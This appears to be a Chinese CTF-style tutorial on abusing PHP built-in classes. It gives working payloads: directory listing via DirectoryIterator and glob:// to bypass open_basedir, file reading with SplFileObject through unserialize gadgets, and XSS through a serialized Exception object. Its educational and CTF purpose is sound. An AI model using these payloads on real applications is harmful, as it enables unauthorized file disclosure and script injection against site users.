前言

前段时间,朋友发我了一道题,代码基本的意思都能看懂。

源码如下:

image-20231029112349850

这里可以看到,对象实例化的类名和参数,我们都是可控的。那么我们只需要找到 PHP原生类 中可以执行命令或者列出目录以及读取文件的类型。基本上就可以实现利用了。

但是由于当时知识量欠缺,于是进行了 Google 搜索,最终使用了PHP的 Directorylterator 内置类列出目录,使用 SplFileObject 类读取 FLAG 文件的内容。

最终将本题解出。

之前一直没有了解过相关的PHP内置类,今天想着对PHP原生类做一个总结,故而该篇文章就应运而生。

PHP原生类读取目录/文件

列出目录文件类

Directorylterator

这里介绍两个PHP的原生类:

  • Directorylterator (PHP5, PHP7, PHP8)
  • Filesystemlterator (PHP 5 >= 5.3.0, PHP 7, PHP 8)

两类的关系可以从PHP官方文档中看出:

image-20231029113528237

其实就是个继承关系,FilesystemIterator 继承父类 Directorylterator

以下是PHP官方文档对 Directorylterator 类的官方简介:

DirectoryTerator类提供了一个用于查看文件系统目录内容的简单接口。

我们查看 DirectoryTerator 类,发现类中存在 __toString 方法。

image-20231029113658588

点进该方法当中:

image-20231029114016085

该方法的作用是以字符串形式获取文件名。其返回值为 返回当前DirectoryTerator项的文件名。大概意思就是说,该方法会返回 Directorylterator 列出目录下的所有文件名。

__toString 是魔术方法,当当前对象被echo的时候触发,故而编写如下测试代码:

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$dir = $_GET['x1ongsec'];
$obj = new DirectoryIterator($dir);
foreach ($obj as $file) {
echo $file->__toString() . "</br>";
}

image-20231029114632899

当然这里除了直接给路径以外,还可以使用 glob 协议。如:

image-20231029114741092

使用 glob 协议的好处就是,该协议不受 open_basedir 配置的限制。

Filesystemlterator 类用法和 **Directorylterator ** 类的利用用法一样,因为 FilesystemIterator 继承自 Directorylterator 且父类的 __toString 是公有方法,因此可以被继承。

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$dir = $_GET['x1ongsec'];
$obj = new FilesystemIterator($dir);
foreach ($obj as $file) {
echo $file->__toString() . "</br>";
}

image-20231029115636179

image-20231029115655798

image-20231029115722691

这里可以发现,DirectorylteratorFilesystemIterator 区别就在于,前者返回的为 文件和目录。而后者返回的是绝对路径。

这两个类也有一句话的PAYLOAD:

DirectoryIterator:

1
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

FilesystemIterator:

1
$a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

使用前言的题目测试一下:

1
2
3
4
5
6
7
<?php
error_reporting(0);
if (isset($_POST['args1']) && isset($_POST['args2'])) {
echo new $_POST['args1']($_POST['args2']);
} else {
show_source(__FILE__);
}

PAYLOAD:

1
args1=DirectoryIterator&args2=glob:///fl*

image-20231029120742481

这里就可以发现根目录下存在文件名为 flllllllllllllag.txt 的文件。

CTFshow web74

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>

由于这里禁用了 scandir 函数,无法列出目录,故而这里只能使用 Directorylterator 或 FilesystemIterator 类列出。

PAYLOAD:

1
c=$a = new DirectoryIterator("/");foreach($a as $f){echo($f->__toString().'<br>');};exit();

image-20231029121330454

最终配合 include 语句包含读取FLAG文件即可。

Globlterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

PHP的官方简介:

遍历一个文件系统行为类似于 glob()

与前两个类的作用相似,GlobIterator 类也是可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径。

既然遍历一个文件系统性为类似于glob(),所以在这个类中不需要配合glob伪协议,可以直接使用 glob 协议。

看了一下文档发现该原生类是继承FilesystemIterator的,所以也是以绝对路径显示的。

image-20231029153728132

1
2
3
4
5
6
7
8
<?php
highlight_file(__file__);
$dir = $_GET['x1ongsec'];
$obj = new GlobIterator($dir);
foreach($obj as $file){
echo($file->__toString().'<br>');
}
?>

image-20231029155757415

传参这里直接给路径就行。

读取文件内容类

SplFileInfo (PHP 5 >= 5.1.2, PHP 7, PHP 8)

官方解释:

SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口。

该类也存在 __toString 方法:

image-20231029160131259

其返回值为文件的路径。

测试代码:

1
2
3
4
5
6
<?php
$filename = $_GET['x1ongsec'];
$obj = new SplFileObject($filename);
foreach ($obj as $content) {
echo $content;
}

image-20231029160934749

小扩展:

在PHP7版本中是支持如下方式调用函数:

image-20231029162237134

以上两种方法等同于传统的 system('ls');

测试代码二:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class Example{
public $class;
public $data;
public function __destruct()
{
echo new $this->class($this->data);
}
}

if (isset($_GET['x1ongsec'])) {
unserialize($_GET['x1ongsec']);
}else {
show_source(__FILE__);
}
?>

这里我们只需要让 class 属性的值为 SplFileObject,而 data 为具体读取文件的路径,利用 __destruct 魔术方法即可实现文件读取。

构造POC:

1
2
3
4
5
6
7
8
9
10
11
<?php
class Example{
public $class;
public $data;
}

$obj = new Example();
$obj->class = 'SplFileObject';
$obj->data = '/flag';

echo serialize($obj);

image-20231029162859969

PHP原生类构造XSS

Error/Exception内置类

  • 适用于php7版本
  • 在开启报错回显的情况下

Error 类是 php 的一个内置类,用于自动自定义一个 Error,在 php7 的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于 PHP 反序列化中。

如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用 echo <Object> 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发__toString 方法。

从官方文档中可以看出,这两个原生类的属性相同,都是对message、code、file、line的信息处理,并调用__toString() 方法将异常的对象转换为字符串。

image-20231029163614600

下面来演示使用 Error 内置类来触发XSS:

测试代码:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$a = unserialize($_GET['x1ongsec']);
echo $a;
?>

利用 Exception::__toString 来构造XSS:

1
2
3
4
5
6
<?php
$a = new Exception("<script>alert('x1ongsec')</script>"); //new Error
$b = serialize($a);
echo urlencode($b);
// O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A34%3A%22%3Cscript%3Ealert%28%27x1ongsec%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A31%3A%22%2Fprivate%2Fvar%2Fwww%2Fhtml%2Findex.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D
?>

image-20231029164559871

待补充